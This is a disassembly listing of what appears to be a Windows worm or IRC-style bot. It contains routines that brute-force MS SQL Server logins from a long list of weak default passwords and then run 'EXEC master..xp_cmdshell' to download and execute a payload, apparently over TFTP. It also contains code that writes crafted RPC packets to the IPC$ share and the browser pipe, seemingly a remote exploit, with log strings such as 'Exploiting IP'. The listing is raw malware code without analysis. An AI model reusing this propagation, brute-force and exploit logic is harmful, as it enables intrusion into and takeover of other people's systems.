jnz short loc_40E057
loc_40E054: ; CODE XREF: .XPack0:0040E069j
push esi
jmp short loc_40E0B0
; ---------------------------------------------------------------------------
loc_40E057: ; CODE XREF: .XPack0:0040E052j
push ebx
push 48h
push offset dword_435098
push edi
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E054
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CE320 ; recv
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E098
push dword ptr [ebp-8]
jmp short loc_40E0B0
; ---------------------------------------------------------------------------
loc_40E098: ; CODE XREF: .XPack0:0040E091j
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CE320 ; recv
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E0C4
loc_40E0B0: ; CODE XREF: .XPack0:0040E055j
; .XPack0:0040E096j
call sub_41B721
pop ecx
push edi
loc_40E0B7: ; CODE XREF: .XPack0:0040E03Dj
call dword_4CE3A0 ; closesocket
loc_40E0BD: ; CODE XREF: .XPack0:0040DE70j
; .XPack0:0040DEBFj ...
xor eax, eax
jmp loc_40E17C
; ---------------------------------------------------------------------------
loc_40E0C4: ; CODE XREF: .XPack0:0040E0AEj
call sub_41B721
pop ecx
push edi
call dword_4CE3A0 ; closesocket
loc_40E0D1: ; CODE XREF: .XPack0:0040DFA2j
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_41BEF6
add esp, 0Ch
xor esi, esi
loc_40E0EB: ; CODE XREF: .XPack0:0040E10Bj
lea eax, [ebp-234h]
push eax
call sub_416026
test eax, eax
pop ecx
jnz short loc_40E10F
push 1388h
call dword_428080 ; Sleep
inc esi
cmp esi, 6
jl short loc_40E0EB
jmp short loc_40E179
; ---------------------------------------------------------------------------
loc_40E10F: ; CODE XREF: .XPack0:0040E0FAj
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_41BEF6
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E15B
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409743
add esp, 14h
loc_40E15B: ; CODE XREF: .XPack0:0040E13Cj
lea eax, [ebp-234h]
push eax
call sub_415F45
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
lea eax, dword_434060[eax]
inc dword ptr [eax]
loc_40E179: ; CODE XREF: .XPack0:0040E10Dj
xor eax, eax
inc eax
loc_40E17C: ; CODE XREF: .XPack0:0040E0BFj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1064h
call sub_41C190
mov al, byte_4404C4
push ebx
push esi
push edi
mov [ebp-1], al
mov esi, offset aSa ; "sa"
mov ecx, offset aRoot ; "root"
mov eax, offset aAdmin ; "admin"
xor edi, edi
mov ebx, offset byte_4404C4
mov edx, offset aInternet ; "internet"
mov [ebp-34h], esi
mov [ebp-30h], ecx
mov [ebp-2Ch], eax
mov [ebp-28h], edi
mov [ebp-264h], ebx
mov dword ptr [ebp-260h], offset aAdministrator ; "administrator"
mov dword ptr [ebp-25Ch], offset aAdministrador ; "administrador"
mov dword ptr [ebp-258h], offset aAdministrateur ; "administrateur"
mov dword ptr [ebp-254h], offset aAdministrat ; "administrat"
mov dword ptr [ebp-250h], offset aAdmins ; "admins"
mov [ebp-24Ch], eax
mov dword ptr [ebp-248h], offset aAdm ; "adm"
mov dword ptr [ebp-244h], offset aPassword1 ; "password1"
mov dword ptr [ebp-240h], offset aPassword ; "password"
mov dword ptr [ebp-23Ch], offset aPasswd ; "passwd"
mov dword ptr [ebp-238h], offset aPass1234 ; "pass1234"
mov dword ptr [ebp-234h], offset aPass ; "pass"
mov dword ptr [ebp-230h], offset aPwd ; "pwd"
mov dword ptr [ebp-22Ch], offset a007 ; "007"
mov dword ptr [ebp-228h], offset a1 ; "1"
mov dword ptr [ebp-224h], offset a12 ; "12"
mov dword ptr [ebp-220h], offset a123 ; "123"
mov dword ptr [ebp-21Ch], offset a1234 ; "1234"
mov dword ptr [ebp-218h], offset a12345 ; "12345"
mov dword ptr [ebp-214h], offset a123456 ; "123456"
mov dword ptr [ebp-210h], offset a1234567 ; "1234567"
mov dword ptr [ebp-20Ch], offset a12345678 ; "12345678"
mov dword ptr [ebp-208h], offset a123456789 ; "123456789"
mov dword ptr [ebp-204h], offset a1234567890 ; "1234567890"
mov dword ptr [ebp-200h], offset a2000 ; "2000"
mov dword ptr [ebp-1FCh], offset a2001 ; "2001"
mov dword ptr [ebp-1F8h], offset a2002 ; "2002"
mov dword ptr [ebp-1F4h], offset a2003 ; "2003"
mov dword ptr [ebp-1F0h], offset a2004 ; "2004"
mov dword ptr [ebp-1ECh], offset aTest ; "test"
mov dword ptr [ebp-1E8h], offset aGuest ; "guest"
mov dword ptr [ebp-1E4h], offset aNone ; "none"
mov dword ptr [ebp-1E0h], offset aDemo ; "demo"
mov dword ptr [ebp-1DCh], offset aUnix ; "unix"
mov dword ptr [ebp-1D8h], offset aLinux ; "linux"
mov dword ptr [ebp-1D4h], offset aChangeme ; "changeme"
mov dword ptr [ebp-1D0h], offset aDefault ; "default"
mov dword ptr [ebp-1CCh], offset aSystem ; "system"
mov dword ptr [ebp-1C8h], offset aServer ; "server"
mov [ebp-1C4h], ecx
mov dword ptr [ebp-1C0h], offset aNull ; "null"
mov dword ptr [ebp-1BCh], offset aQwerty ; "qwerty"
mov dword ptr [ebp-1B8h], offset aMail ; "mail"
mov dword ptr [ebp-1B4h], offset aOutlook ; "outlook"
mov dword ptr [ebp-1B0h], offset aWeb ; "web"
mov dword ptr [ebp-1ACh], offset aWww ; "www"
mov [ebp-1A8h], edx
mov dword ptr [ebp-1A4h], offset aAccounts ; "accounts"
mov dword ptr [ebp-1A0h], offset aAccounting ; "accounting"
mov dword ptr [ebp-19Ch], offset aHome ; "home"
mov dword ptr [ebp-198h], offset aHomeuser ; "homeuser"
mov dword ptr [ebp-194h], offset aUser ; "user"
mov dword ptr [ebp-190h], offset aOem ; "oem"
mov dword ptr [ebp-18Ch], offset aOemuser ; "oemuser"
mov dword ptr [ebp-188h], offset aOeminstall ; "oeminstall"
mov dword ptr [ebp-184h], offset aWindows ; "windows"
mov dword ptr [ebp-180h], offset aWin98 ; "win98"
mov dword ptr [ebp-17Ch], offset aWin2k ; "win2k"
mov dword ptr [ebp-178h], offset aWinxp ; "winxp"
mov dword ptr [ebp-174h], offset aWinnt ; "winnt"
mov dword ptr [ebp-170h], offset aWin2000 ; "win2000"
mov dword ptr [ebp-16Ch], offset aQaz ; "qaz"
mov dword ptr [ebp-168h], offset aAsd ; "asd"
mov ecx, offset aBob ; "bob"
mov eax, offset aPeter ; "peter"
mov dword ptr [ebp-164h], offset aZxc ; "zxc"
mov dword ptr [ebp-160h], offset aQwe ; "qwe"
mov [ebp-15Ch], ecx
mov dword ptr [ebp-158h], offset aJen ; "jen"
mov dword ptr [ebp-154h], offset aJoe ; "joe"
mov dword ptr [ebp-150h], offset aFred ; "fred"
mov dword ptr [ebp-14Ch], offset aBill ; "bill"
mov dword ptr [ebp-148h], offset aMike ; "mike"
mov dword ptr [ebp-144h], offset aJohn ; "john"
mov [ebp-140h], eax
mov dword ptr [ebp-13Ch], offset aLuke ; "luke"
mov dword ptr [ebp-138h], offset aSam ; "sam"
mov dword ptr [ebp-134h], offset aSue ; "sue"
mov dword ptr [ebp-130h], offset aSusan ; "susan"
mov [ebp-12Ch], eax
mov dword ptr [ebp-128h], offset aBrian ; "brian"
mov dword ptr [ebp-124h], offset aLee ; "lee"
mov dword ptr [ebp-120h], offset aNeil ; "neil"
mov dword ptr [ebp-11Ch], offset aIan ; "ian"
mov dword ptr [ebp-118h], offset aChris ; "chris"
mov dword ptr [ebp-114h], offset aEric ; "eric"
mov dword ptr [ebp-110h], offset aGeorge ; "george"
mov dword ptr [ebp-10Ch], offset aKate ; "kate"
mov [ebp-108h], ecx
mov dword ptr [ebp-104h], offset aKatie ; "katie"
mov dword ptr [ebp-100h], offset aMary ; "mary"
mov dword ptr [ebp-0FCh], offset aLogin ; "login"
mov dword ptr [ebp-0F8h], offset aLoginpass ; "loginpass"
mov dword ptr [ebp-0F4h], offset aTechnical ; "technical"
mov dword ptr [ebp-0F0h], offset aBackup ; "backup"
mov dword ptr [ebp-0ECh], offset aExchange ; "exchange"
mov dword ptr [ebp-0E8h], offset aFuck ; "fuck"
mov dword ptr [ebp-0E4h], offset aBitch ; "bitch"
mov dword ptr [ebp-0E0h], offset aSlut ; "slut"
mov dword ptr [ebp-0DCh], offset aSex ; "sex"
mov dword ptr [ebp-0D8h], offset aGod ; "god"
mov dword ptr [ebp-0D4h], offset aHell ; "hell"
mov dword ptr [ebp-0D0h], offset aHello ; "hello"
mov dword ptr [ebp-0CCh], offset aDomain ; "domain"
mov dword ptr [ebp-0C8h], offset aDomainpass ; "domainpass"
mov dword ptr [ebp-0C4h], offset aDomainpassword ; "domainpassword"
mov dword ptr [ebp-0C0h], offset aDatabase ; "database"
mov dword ptr [ebp-0BCh], offset aAccess ; "access"
mov dword ptr [ebp-0B8h], offset aDbpass ; "dbpass"
mov dword ptr [ebp-0B4h], offset aDbpassword ; "dbpassword"
mov dword ptr [ebp-0B0h], offset aDatabasepass ; "databasepass"
mov dword ptr [ebp-0ACh], offset aData ; "data"
mov dword ptr [ebp-0A8h], offset aDatabasepasswo ; "databasepassword"
mov dword ptr [ebp-0A4h], offset aDb1 ; "db1"
mov dword ptr [ebp-0A0h], offset aDb2 ; "db2"
mov dword ptr [ebp-9Ch], offset aDb1234 ; "db1234"
mov [ebp-98h], esi
mov dword ptr [ebp-94h], offset aSql ; "sql"
mov dword ptr [ebp-90h], offset aSqlpassoainsta ; "sqlpassoainstall"
mov dword ptr [ebp-8Ch], offset aOrainstall ; "orainstall"
mov dword ptr [ebp-88h], offset aOracle ; "oracle"
mov dword ptr [ebp-84h], offset aIbm ; "ibm"
mov dword ptr [ebp-80h], offset aCisco ; "cisco"
mov dword ptr [ebp-7Ch], offset aDell ; "dell"
mov dword ptr [ebp-78h], offset aCompaq ; "compaq"
mov dword ptr [ebp-74h], offset aSiemens ; "siemens"
mov dword ptr [ebp-70h], offset aHp ; "hp"
mov dword ptr [ebp-6Ch], offset aNokia ; "nokia"
mov dword ptr [ebp-68h], offset aXp ; "xp"
mov dword ptr [ebp-64h], offset aControl ; "control"
mov dword ptr [ebp-60h], offset aOffice ; "office"
mov dword ptr [ebp-5Ch], offset aBlank ; "blank"
mov dword ptr [ebp-58h], offset aWinpass ; "winpass"
mov dword ptr [ebp-54h], offset aMain ; "main"
mov dword ptr [ebp-50h], offset aLan ; "lan"
mov [ebp-4Ch], edx
mov dword ptr [ebp-48h], offset aIntranet ; "intranet"
mov dword ptr [ebp-44h], offset aStudent ; "student"
mov dword ptr [ebp-40h], offset aTeacher ; "teacher"
mov dword ptr [ebp-3Ch], offset aStaff ; "staff"
mov [ebp-38h], edi
mov [ebp-20h], edi
mov [ebp-10h], edi
mov [ebp-14h], edi
lea eax, [ebp-18h]
push eax
push edi
push 1
call dword_4CE284
test ax, ax
jnz short loc_40E70F
push 0FFFFFFFAh
push 3
push 0C8h
push dword ptr [ebp-18h]
call dword_4CE390
test ax, ax
jz short loc_40E716
loc_40E70F: ; CODE XREF: .XPack0:0040E6F6j
xor eax, eax
jmp loc_40E93A
; ---------------------------------------------------------------------------
loc_40E716: ; CODE XREF: .XPack0:0040E70Dj
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-18h]
push 2
call dword_4CE284
test ax, ax
jnz loc_40E92D
mov [ebp-1Ch], esi
mov esi, dword_428080
mov [ebp-0Ch], edi
loc_40E73A: ; CODE XREF: .XPack0:0040E887j
mov [ebp-8], edi
mov eax, ebx
loc_40E73F: ; CODE XREF: .XPack0:0040E7B6j
lea ecx, [ebp-1]
push ecx
push eax
push dword ptr [ebp-1Ch]
lea eax, [ebp+0Ch]
push dword ptr [ebp+0A8h]
push eax
lea eax, [ebp-0C64h]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_41BEF6
add esp, 1Ch
lea eax, [ebp-22h]
push edi
push eax
lea eax, [ebp-1064h]
push 400h
push eax
lea eax, [ebp-0C64h]
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp-0C64h]
push eax
push edi
push dword ptr [ebp-10h]
call dword_4CE344
cmp ax, di
jz short loc_40E7BD
cmp ax, 1
jz short loc_40E7BD
push 1F4h
call esi ; Sleep
inc dword ptr [ebp-8]
mov eax, [ebp-8]
mov eax, [ebp+eax*4-264h]
cmp eax, edi
jnz short loc_40E73F
jmp loc_40E878
; ---------------------------------------------------------------------------
loc_40E7BD: ; CODE XREF: .XPack0:0040E798j
; .XPack0:0040E79Ej
lea eax, [ebp-14h]
push eax
push dword ptr [ebp-10h]
push 3
call dword_4CE284
mov eax, offset byte_42AA54
push eax
push eax
call sub_41BF52
push eax
call sub_41BF52
push eax
push dword_4CE048
push dword ptr [ebp+8]
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp-864h]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_41BEF6
add esp, 20h
lea eax, [ebp-864h]
push 0FFFFFFFDh
push eax
push dword ptr [ebp-14h]
call dword_4CE2CC
test ax, ax
jz short loc_40E86D
push 1388h
call esi ; Sleep
push offset byte_42AA54
lea eax, [ebp-864h]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_41BEF6
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-464h]
push offset dword_435668
push eax
call sub_41BEF6
add esp, 18h
lea eax, [ebp-864h]
push 0FFFFFFFDh
push eax
push dword ptr [ebp-14h]
call dword_4CE2CC
test ax, ax
jz short loc_40E892
push 1388h
call esi ; Sleep
loc_40E86D: ; CODE XREF: .XPack0:0040E818j
push dword ptr [ebp-14h]
push 3
call dword_4CE324
loc_40E878: ; CODE XREF: .XPack0:0040E7B8j
inc dword ptr [ebp-0Ch]
mov eax, [ebp-0Ch]
mov eax, [ebp+eax*4-34h]
cmp eax, edi
mov [ebp-1Ch], eax
jnz loc_40E73A
jmp loc_40E91F
; ---------------------------------------------------------------------------
loc_40E892: ; CODE XREF: .XPack0:0040E864j
mov eax, [ebp-8]
mov dword ptr [ebp-20h], 1
push dword ptr [ebp+eax*4-264h]
mov eax, [ebp-0Ch]
push dword ptr [ebp+eax*4-34h]
lea eax, [ebp+0Ch]
push dword ptr [ebp+0A8h]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset dword_435628
lea eax, [ebp-464h]
push 200h
push eax
call sub_41BFF0
add esp, 20h
cmp [ebp+0BCh], edi
jnz short loc_40E901
push edi
lea eax, [ebp-464h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409743
add esp, 14h
loc_40E901: ; CODE XREF: .XPack0:0040E8E2j
lea eax, [ebp-464h]
push eax
call sub_415F45
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
lea eax, dword_434060[eax]
inc dword ptr [eax]
loc_40E91F: ; CODE XREF: .XPack0:0040E88Dj
push dword ptr [ebp-10h]
push 2
call dword_4CE324
mov edi, [ebp-20h]
loc_40E92D: ; CODE XREF: .XPack0:0040E728j
push dword ptr [ebp-18h]
push 1
call dword_4CE324
mov eax, edi
loc_40E93A: ; CODE XREF: .XPack0:0040E711j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40E93F proc near ; DATA XREF: .XPack0:0042A00Co
jmp $+5
sub_40E93F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E944 proc near
mov eax, dword_435900
add eax, 6
mov dword_4D1014, eax
retn
sub_40E944 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E952 proc near ; CODE XREF: sub_40E952+D0p
; sub_40EA40+484p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40E966
or [ebp+arg_7], 1
jmp short loc_40E96A
; ---------------------------------------------------------------------------
loc_40E966: ; CODE XREF: sub_40E952+Cj
and [ebp+arg_7], 0FEh
loc_40E96A: ; CODE XREF: sub_40E952+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40E98E
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40E9A0
; ---------------------------------------------------------------------------
loc_40E98E: ; CODE XREF: sub_40E952+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40E9A0: ; CODE XREF: sub_40E952+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41BB45
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40EA39
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call dword_4280F0 ; WriteFile
test eax, eax
jz short loc_40EA30
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40EA30
push [ebp+arg_20]
call sub_41B721
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40EA2C
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40E952
add esp, 2Ch
jmp short loc_40EA3B
; ---------------------------------------------------------------------------
loc_40EA2C: ; CODE XREF: sub_40E952+B3j
mov al, 1
jmp short loc_40EA3B
; ---------------------------------------------------------------------------
loc_40EA30: ; CODE XREF: sub_40E952+9Cj
; sub_40E952+A4j
push [ebp+arg_20]
call sub_41B721
pop ecx
loc_40EA39: ; CODE XREF: sub_40E952+61j
xor al, al
loc_40EA3B: ; CODE XREF: sub_40E952+D8j
; sub_40E952+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40E952 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EA40 proc near ; CODE XREF: .XPack0:0040EFAAp
; .XPack0:0040EFD1p
var_60E0 = byte ptr -60E0h
var_40E0 = byte ptr -40E0h
var_20E0 = byte ptr -20E0h
var_E0 = byte ptr -0E0h
var_CC = dword ptr -0CCh
var_C0 = byte ptr -0C0h
var_BC = byte ptr -0BCh
var_BB = byte ptr -0BBh
var_BA = byte ptr -0BAh
var_B9 = byte ptr -0B9h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
var_B2 = word ptr -0B2h
var_B0 = dword ptr -0B0h
var_AC = word ptr -0ACh
var_AA = word ptr -0AAh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = word ptr -0A0h
var_9E = byte ptr -9Eh
var_9C = byte ptr -9Ch
var_8C = dword ptr -8Ch
var_88 = byte ptr -88h
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = qword ptr -68h
var_60 = byte ptr -60h
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A8 = dword ptr 0B0h
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
mov eax, 60E0h
call sub_41C190
push ebx
push esi
push edi
lea eax, [ebp+arg_4]
push offset a_ ; "."
push eax
call sub_41D800
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
mov esi, 2000h
jz short loc_40EAB4
lea eax, [ebp+arg_4]
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp+var_20E0]
push esi
push eax
call sub_41BFF0
push 20h
lea eax, [ebp+var_E0]
push ebx
push eax
call sub_41BC00
lea eax, [ebp+var_20E0]
add esp, 1Ch
mov [ebp+var_CC], eax
mov eax, offset byte_4404C4
push ebx
push eax
push eax
lea eax, [ebp+var_E0]
push eax
call dword_4CE3B0
loc_40EAB4: ; CODE XREF: sub_40EA40+29j
lea eax, [ebp+arg_4]
push eax
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
lea eax, [ebp+var_40E0]
push esi
push eax
call sub_41BFF0
add esp, 10h
lea eax, [ebp+var_40E0]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call dword_4280F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov dword ptr [ebp+var_C+4], eax
jnz short loc_40EAF9
loc_40EAF2: ; CODE XREF: sub_40EA40+266j
; sub_40EA40+371j ...
xor eax, eax
jmp loc_40EF90
; ---------------------------------------------------------------------------
loc_40EAF9: ; CODE XREF: sub_40EA40+B0j
push 48h
lea eax, [ebp+var_BC]
push ebx
push eax
call sub_41BC00
push 10h
xor edi, edi
pop eax
inc edi
mov [ebp+var_B8], eax
push eax
lea eax, [ebp+var_9C]
push offset dword_435954
push eax
mov [ebp+var_BC], 5
mov [ebp+var_BB], bl
mov [ebp+var_BA], 0Bh
mov [ebp+var_B9], 3
mov [ebp+var_B4], 48h
mov [ebp+var_B2], bx
mov [ebp+var_B0], ebx
mov [ebp+var_AC], 10B8h
mov [ebp+var_AA], 10B8h
mov [ebp+var_A8], ebx
mov [ebp+var_A4], edi
mov [ebp+var_A0], bx
mov [ebp+var_9E], 1
call near ptr sub_41C9B0
push 10h
lea eax, [ebp+var_88]
push offset dword_435940
push eax
mov [ebp+var_8C], 3
call near ptr sub_41C9B0
add esp, 24h
lea eax, [ebp+var_C0]
mov [ebp+var_78], 2
push ebx
push eax
lea eax, [ebp+var_BC]
push 48h
push eax
push dword ptr [ebp+var_C+4]
call dword_4280F0 ; WriteFile
test eax, eax
jz loc_40EC9D
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_60E0]
push esi
push eax
push dword ptr [ebp+var_C+4]
call dword_4280EC ; ReadFile
push ebx
call sub_41D71B
push eax
call sub_41BF48
push 14h
lea eax, [ebp+var_74]
push 41h
push eax
call sub_41BC00
push 1Ch
lea eax, [ebp+var_34]
push 41h
push eax
call sub_41BC00
add esp, 20h
call sub_41BF52
mov esi, [ebp+arg_BC]
mov [ebp+var_74], eax
mov dword ptr [ebp+var_68], edi
mov [ebp+var_6C], ebx
lea esi, [esi+esi*4]
mov [ebp+var_70], edi
shl esi, 2
mov word ptr [ebp+var_68+4], bx
mov [ebp+var_2C], ebx
cmp byte_4358E8[esi], bl
jz short loc_40EC46
push 4
mov [ebp+var_28], edi
mov [ebp+var_30], edi
push offset dword_4D1018
jmp short loc_40EC56
; ---------------------------------------------------------------------------
loc_40EC46: ; CODE XREF: sub_40EA40+1F5j
push 2
pop eax
push 4
mov [ebp+var_28], eax
mov [ebp+var_30], eax
push (offset loc_435937+1)
loc_40EC56: ; CODE XREF: sub_40EA40+204j
lea eax, [ebp+var_24]
push eax
call near ptr sub_41C9B0
add esp, 0Ch
call sub_41BF52
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_34], edx
call sub_41BF52
cdq
idiv edi
mov eax, dword_4358DC[esi]
mov [ebp+var_1C], ebx
push eax
mov [ebp+arg_BC], eax
inc edx
mov [ebp+var_20], edx
call sub_41BB45
mov edi, eax
pop ecx
cmp edi, ebx
jnz short loc_40ECAB
loc_40EC9D: ; CODE XREF: sub_40EA40+186j
push dword ptr [ebp+var_C+4]
call dword_428070 ; CloseHandle
jmp loc_40EAF2
; ---------------------------------------------------------------------------
loc_40ECAB: ; CODE XREF: sub_40EA40+25Bj
mov eax, [ebp+arg_BC]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41BC00
mov eax, [ebp+arg_BC]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41BC00
mov eax, dword_4358E4[esi]
push 7
add eax, edi
push offset dword_4358D0
push eax
mov [ebp+var_4], eax
call near ptr sub_41C9B0
mov eax, [ebp+var_4]
push 15Ch
add eax, 7
push offset dword_435770
push eax
call near ptr sub_41C9B0
mov eax, dword_4358E0[esi]
add esp, 30h
mov [ebp+var_4], eax
add eax, edi
cmp byte_4358E8[esi], bl
jz short loc_40ED62
push 4
push offset dword_4D1014
push eax
call near ptr sub_41C9B0
add [ebp+var_4], 0Ch
mov esi, offset dword_435900
mov eax, [ebp+var_4]
push 4
add eax, edi
push esi
push eax
call near ptr sub_41C9B0
mov eax, [ebp+var_4]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+var_4], eax
call near ptr sub_41C9B0
mov eax, [ebp+var_4]
push 4
add eax, 0Ch
push esi
push eax
call near ptr sub_41C9B0
add esp, 30h
jmp short loc_40ED88
; ---------------------------------------------------------------------------
loc_40ED62: ; CODE XREF: sub_40EA40+2D5j
mov [ebp+var_4], eax
mov dword ptr [ebp+var_C], 10h
mov esi, offset dword_435900
loc_40ED71: ; CODE XREF: sub_40EA40+346j
push 4
push esi
push [ebp+var_4]
call near ptr sub_41C9B0
add [ebp+var_4], 4
add esp, 0Ch
dec dword ptr [ebp+var_C]
jnz short loc_40ED71
loc_40ED88: ; CODE XREF: sub_40EA40+320j
mov eax, [ebp+arg_BC]
add eax, 42h
push eax
call sub_41BB45
mov esi, eax
pop ecx
cmp esi, ebx
mov dword ptr [ebp+var_C], esi
jnz short loc_40EDB6
push dword ptr [ebp+var_C+4]
call dword_428070 ; CloseHandle
push edi
call sub_41B721
pop ecx
jmp loc_40EAF2
; ---------------------------------------------------------------------------
loc_40EDB6: ; CODE XREF: sub_40EA40+35Fj
mov eax, [ebp+arg_BC]
add eax, 42h
push eax
push ebx ; double
push esi
call sub_41BC00
lea eax, [ebp+var_74]
push 14h
push eax
push esi
call near ptr sub_41C9B0
mov eax, [ebp+arg_BC]
mov dword ptr [ebp+var_14+4], ebx
mov dword ptr [ebp+var_14], eax
add esp, 10h
fild [ebp+var_14]
fmul flt_428694
fstp [esp+0Ch+var_C]
call sub_41CE2B
call sub_41CE04
push [ebp+arg_BC]
mov [esi+1Ch], eax
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
mov [esi+18h], ebx
call near ptr sub_41C9B0
mov eax, [ebp+arg_BC]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+var_4], eax
jz short loc_40EE2C
loc_40EE24: ; CODE XREF: sub_40EA40+3E7j
inc eax
test al, 3
jnz short loc_40EE24
mov [ebp+var_4], eax
loc_40EE2C: ; CODE XREF: sub_40EA40+3E2j
lea ecx, [ebp+var_34]
push 1Ch
add eax, esi
push ecx
push eax
call near ptr sub_41C9B0
add [ebp+var_4], 1Ch
push edi
call sub_41B721
push 18h
lea eax, [ebp+var_4C]
push ebx
push eax
call sub_41BC00
push 14h
lea eax, [ebp+var_60]
push ebx
push eax
mov [ebp+var_4C], 5
mov [ebp+var_4B], bl
mov [ebp+var_4A], bl
mov [ebp+var_49], 3
mov [ebp+var_48], 10h
mov [ebp+var_42], bx
mov [ebp+var_40], ebx
mov [ebp+var_38], bx
mov [ebp+var_36], 1Fh
call sub_41BC00
add esp, 28h
push ebx
push ebx
push 1
push ebx
call dword_4280FC ; CreateEventA
mov [ebp+var_50], eax
mov byte ptr [ebp+arg_BC+3], bl
mov dword ptr [ebp+var_14+4], ebx
loc_40EE9C: ; CODE XREF: sub_40EA40+51Ej
cmp dword ptr [ebp+var_14+4], 2
jge loc_40EF69
push 1
push 10B8h
push [ebp+var_4]
inc dword ptr [ebp+var_14+4]
push esi
lea esi, [ebp+var_4C]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp+var_C+4]
rep movsd
call sub_40E952
add esp, 2Ch
test al, al
jz loc_40EF66
cmp [ebp+var_50], ebx
jz short loc_40EF55
lea eax, [ebp+var_60]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_60E0]
push 2000h
